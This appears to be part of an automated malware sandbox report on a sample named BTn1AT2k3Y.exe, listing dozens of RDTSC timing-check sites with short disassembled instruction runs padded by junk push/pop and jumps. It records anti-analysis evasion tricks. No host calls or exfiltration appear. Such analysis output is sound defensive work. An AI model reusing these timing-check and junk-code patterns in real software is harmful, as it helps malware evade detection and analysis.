Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2C171 second address: B2C175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2AED7 second address: B2AEF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F33751C23DEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2AEF6 second address: B2AF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F33751B2776h 0x0000000c jng 00007F33751B2776h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2AF08 second address: B2AF0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2B0A5 second address: B2B0A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2B654 second address: B2B65A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2AB8B second address: B2AB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2AB8F second address: B2ABAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2ABAE second address: B2ABD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F33751B2790h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2ABD6 second address: B2ABE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F33751C23D6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2ABE2 second address: B2AC01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Ah 0x00000007 jmp 00007F33751B277Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2AC01 second address: B2AC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2BEB3 second address: B2BEB9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B304C7 second address: B304CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3077E second address: B30784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B30784 second address: B30788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B30788 second address: B3078C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3078C second address: B307AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751C23E7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B308FD second address: B30903 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B30C0B second address: B30C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B30C15 second address: B30C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B30D48 second address: B30D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B30E8F second address: B30EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F33751B2781h 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jng 00007F33751B2776h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3115F second address: B31163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3130B second address: B31337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2782h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007F33751B2776h 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007F33751B2776h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B301D8 second address: B301EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F33751C23DEh 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007F33751C23D6h 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B34A68 second address: B34A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jc 00007F33751B2776h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B37A72 second address: B37A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B37316 second address: B37320 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33751B2776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B37320 second address: B3738B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007F33751C23F3h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F33751C23DBh 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F33751C23E9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3765D second address: B37663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AA45C6 second address: AA45E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751C23E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B39A1C second address: B39A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B39A22 second address: B39A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F33751C23E9h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B39A43 second address: B39A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B39A47 second address: B39A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B39A4F second address: B39A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B39A55 second address: B39A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3EBB9 second address: B3EBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751B277Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3EBCA second address: B3EBCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3EBCE second address: B3EBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F33751B277Dh 0x0000000d popad 0x0000000e jo 00007F33751B2786h 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jno 00007F33751B2776h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B3F0ED second address: B3F109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F33751C23E4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B436AF second address: B436E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F33751B2778h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F33751B2785h 0x00000017 jmp 00007F33751B277Fh 0x0000001c jmp 00007F33751B2783h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B436E8 second address: B436EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B436EE second address: B43707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751B2785h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B43AE6 second address: B43AED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B43AED second address: B43AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F33751B2776h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF49F6 second address: AF49FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF49FA second address: AF4A00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF4A00 second address: AF4A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B47BDC second address: B47BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B472D8 second address: B472E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B472E1 second address: B472EB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33751B2776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B472EB second address: B4733C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33751C23DEh 0x00000008 jmp 00007F33751C23DCh 0x0000000d jmp 00007F33751C23E2h 0x00000012 jmp 00007F33751C23E9h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ebx 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B4733C second address: B47342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B47486 second address: B47492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F33751C23D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B47492 second address: B474A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33751B2776h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B475E6 second address: B47614 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F33751C23E2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F33751C23E4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B47614 second address: B4761E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33751B2776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B478B3 second address: B478BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B478BB second address: B478E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F33751B2786h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B478E1 second address: B47902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F33751C23E5h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B49F5A second address: B49F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F33751B277Dh 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B51164 second address: B51182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751C23E3h 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B4F3CA second address: B4F3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B4F3CE second address: B4F3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B4F3D6 second address: B4F3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B4FF81 second address: B4FF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B50547 second address: B50551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B50551 second address: B50562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33751C23D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B508E6 second address: B508EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B508EB second address: B508F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B508F1 second address: B50916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33751B2776h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jbe 00007F33751B279Bh 0x00000013 jo 00007F33751B277Eh 0x00000019 js 00007F33751B2776h 0x0000001f push edx 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AAE802 second address: AAE81E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F33751C23DCh 0x0000000c jns 00007F33751C23D6h 0x00000012 popad 0x00000013 push edi 0x00000014 jbe 00007F33751C23DEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59802 second address: B59817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jp 00007F33751B2782h 0x0000000d jne 00007F33751B2776h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59817 second address: B5981B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B5981B second address: B59837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2786h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59837 second address: B5983D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B5983D second address: B59841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59841 second address: B59865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F33751C23E3h 0x0000000e jng 00007F33751C23DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B5896F second address: B58980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F33751B2778h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B58980 second address: B58986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B58986 second address: B5898A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B58C3D second address: B58C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F33751C23E4h 0x0000000b jmp 00007F33751C23E1h 0x00000010 popad 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 jns 00007F33751C23D6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B58C76 second address: B58C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B58C7B second address: B58C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F33751C23D6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B58DD7 second address: B58DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B590FF second address: B59126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F33751C23DBh 0x0000000f pop ebx 0x00000010 jmp 00007F33751C23E1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59126 second address: B59134 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33751B2778h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59134 second address: B59138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B59282 second address: B59292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F33751B2776h 0x0000000a jne 00007F33751B2776h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B60E93 second address: B60EC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33751C23DEh 0x0000000b jmp 00007F33751C23E9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B61C65 second address: B61C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B62AF7 second address: B62B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751C23E3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B62B0F second address: B62B19 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F33751B278Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
